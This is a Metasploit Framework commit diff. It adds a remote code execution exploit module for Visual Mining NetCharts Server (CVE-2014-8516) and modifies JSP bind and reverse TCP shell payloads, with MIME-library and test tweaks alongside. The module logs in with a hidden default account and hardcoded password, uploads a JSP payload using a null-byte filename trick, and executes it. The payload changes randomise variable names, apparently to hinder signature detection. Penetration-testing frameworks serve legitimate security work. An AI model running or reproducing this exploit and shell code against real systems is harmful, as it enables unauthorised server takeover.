Land #4139, Visual Mining NetCharts

landed after some touch up
bug/bundler_fix
Joshua Smith 2014-11-06 22:52:41 -06:00
commit 7b25e3be75
No known key found for this signature in database
GPG Key ID: ADDEAD3D3D609E33
4 changed files with 188 additions and 50 deletions

View File

@ -22,6 +22,12 @@ module Msf::Payload::JSP
# @return [String] jsp code that executes bind TCP payload
def jsp_bind_tcp
# Modified from: http://www.security.org.sg/code/jspreverse.html
var_is = Rex::Text.rand_text_alpha_lower(2)
var_os = Rex::Text.rand_text_alpha_lower(2)
var_in = Rex::Text.rand_text_alpha_lower(2)
var_out = Rex::Text.rand_text_alpha_lower(3)
jsp = <<-EOS
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
@ -31,37 +37,37 @@ module Msf::Payload::JSP
<%
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
InputStream #{var_is};
OutputStream #{var_os};
StreamConnector( InputStream is, OutputStream os )
StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
{
this.is = is;
this.os = os;
this.#{var_is} = #{var_is};
this.#{var_os} = #{var_os};
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
BufferedReader #{var_in} = null;
BufferedWriter #{var_out} = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
#{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
#{var_out}.write( buffer, 0, length );
#{var_out}.flush();
}
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
if( #{var_in} != null )
#{var_in}.close();
if( #{var_out} != null )
#{var_out}.close();
} catch( Exception e ){}
}
}
@ -87,6 +93,12 @@ module Msf::Payload::JSP
# @return [String] jsp code that executes reverse TCP payload
def jsp_reverse_tcp
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
var_is = Rex::Text.rand_text_alpha_lower(2)
var_os = Rex::Text.rand_text_alpha_lower(2)
var_in = Rex::Text.rand_text_alpha_lower(2)
var_out = Rex::Text.rand_text_alpha_lower(3)
jsp = <<-EOS
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
@ -96,37 +108,37 @@ module Msf::Payload::JSP
<%
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
InputStream #{var_is};
OutputStream #{var_os};
StreamConnector( InputStream is, OutputStream os )
StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
{
this.is = is;
this.os = os;
this.#{var_is} = #{var_is};
this.#{var_os} = #{var_os};
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
BufferedReader #{var_in} = null;
BufferedWriter #{var_out} = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
#{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
#{var_out}.write( buffer, 0, length );
#{var_out}.flush();
}
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
if( #{var_in} != null )
#{var_in}.close();
if( #{var_out} != null )
#{var_out}.close();
} catch( Exception e ){}
}
}

View File

@ -24,11 +24,11 @@ class Message
self.header.parse(head)
ctype = self.header.find('Content-Type')
if ctype and ctype[1] and ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/
if ctype && ctype[1] && ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/
self.bound = $1
chunks = body.to_s.split(/--#{self.bound}(--)?\r?\n/)
self.content = chunks.shift.to_s.gsub(/\s+$/, '')
self.content << "\r\n" if not self.content.empty?
self.content << "\r\n" unless self.content.empty?
chunks.each do |chunk|
break if chunk == "--"
@ -88,15 +88,13 @@ class Message
def add_part(data='', content_type='text/plain', transfer_encoding="8bit", content_disposition=nil)
part = Rex::MIME::Part.new
if (content_disposition)
if content_disposition
part.header.set("Content-Disposition", content_disposition)
end
if (content_type)
part.header.set("Content-Type", content_type)
end
part.header.set("Content-Type", content_type) if content_type
if (transfer_encoding)
if transfer_encoding
part.header.set("Content-Transfer-Encoding", transfer_encoding)
end
@ -125,20 +123,17 @@ class Message
end
def to_s
msg = force_crlf(self.header.to_s + "\r\n")
header_string = self.header.to_s
unless self.content.blank?
msg << force_crlf(self.content + "\r\n")
end
msg = header_string.empty? ? '' : force_crlf(self.header.to_s + "\r\n")
msg << force_crlf(self.content + "\r\n") unless self.content.blank?
self.parts.each do |part|
msg << force_crlf("--" + self.bound + "\r\n")
msg << part.to_s
end
if self.parts.length > 0
msg << force_crlf("--" + self.bound + "--\r\n")
end
msg << force_crlf("--" + self.bound + "--\r\n") if self.parts.length > 0
msg
end

View File

@ -0,0 +1,132 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
DEFAULT_USERNAME = 'Scheduler'
DEFAULT_PASSWORD = '!@#$scheduler$#@!'
SIGNATURE = 'was uploaded successfully and is now ready for installation'
def initialize(info = {})
super(update_info(info,
'Name' => 'Visual Mining NetCharts Server Remote Code Execution',
'Description' => %q{
This module exploits multiple vulnerabilities in Visual Mining NetCharts.
First, a lack of input validation in the administration console permits
arbitrary jsp code upload to locations accessible later through the web
service. Authentication is typically required, however a 'hidden' user is
available by default (and non editable). This user, named 'Scheduler',
can only login to the console after any modification in the user
database (a user is added, admin password is changed etc). If the
'Scheduler' user isn't available valid credentials must be supplied. The
default Admin password is Admin.
},
'Author' =>
[
'sghctoma', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-8516'],
['ZDI', '14-372']
],
'Privileged' => true,
'Platform' => %w{ linux win },
'Arch' => ARCH_JAVA,
'Targets' =>
[
['Visual Mining NetCharts Server 7.0', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 03 2014'))
register_options(
[
Opt::RPORT(8001),
OptString.new('USERNAME', [false, "The username to authenticate with"]),
OptString.new('PASSWORD', [false, "The password to authenticate with"])
], self.class)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/', 'Admin', 'archive', 'upload.jsp'),
'vars_get' => { 'mode' => 'getZip' },
'authorization' => basic_auth(username, password)
})
if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
Exploit::CheckCode::Detected
else
Exploit::CheckCode::Safe
end
end
def exploit
jsp_payload = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"
print_status("#{peer} - Uploading JSP payload #{jsp_payload}...")
if upload(jsp_payload, payload.encoded)
print_good("#{peer} - JSP payload uploaded successfully")
register_file_for_cleanup("./webapps/Admin/archive/ArchiveCache/#{jsp_payload}")
else
fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
end
print_status("#{peer} - Executing payload...")
execute(jsp_payload, 1)
end
def execute(jsp_name, time_out = 20)
res = send_request_cgi({
'uri' => normalize_uri('/', 'Admin', 'archive', 'ArchiveCache', jsp_name),
'method' => 'GET',
'authorization' => basic_auth(username, password)
}, time_out)
res
end
def upload(file_name, contents)
post_data = Rex::MIME::Message.new
post_data.add_part(
contents,
'application/octet-stream',
nil,
"form-data; name=\"FILE1\"; filename=\"#{file_name}\x00Archive0101140101.zip\""
)
res = send_request_cgi({
'uri' => normalize_uri("/", 'Admin', 'archive', 'upload.jsp'),
'method' => 'GET',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'vars_get' => { 'mode' => 'getZip' },
'authorization' => basic_auth(username, password)
})
if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
true
else
false
end
end
def username
datastore['USERNAME'].blank? ? DEFAULT_USERNAME : datastore['USERNAME']
end
def password
datastore['PASSWORD'].blank? ? DEFAULT_PASSWORD : datastore['PASSWORD']
end
end

View File

@ -369,8 +369,7 @@ describe Rex::MIME::Message do
end
let(:regexp_web) do
regex = "\r\n"
regex << "--_Part_.*\r\n"
regex = "--_Part_.*\r\n"
regex << "Content-Disposition: form-data; name=\"action\"\r\n"
regex << "\r\n"
regex << "save\r\n"
@ -388,8 +387,8 @@ describe Rex::MIME::Message do
Regexp.new(regex)
end
it "returns \\r\\n if Rex::MIME::Message is empty" do
expect(subject.to_s).to eq("\r\n")
it "returns empty string if Rex::MIME::Message is empty" do
expect(subject.to_s).to be_empty
end
it "generates valid MIME email messages" do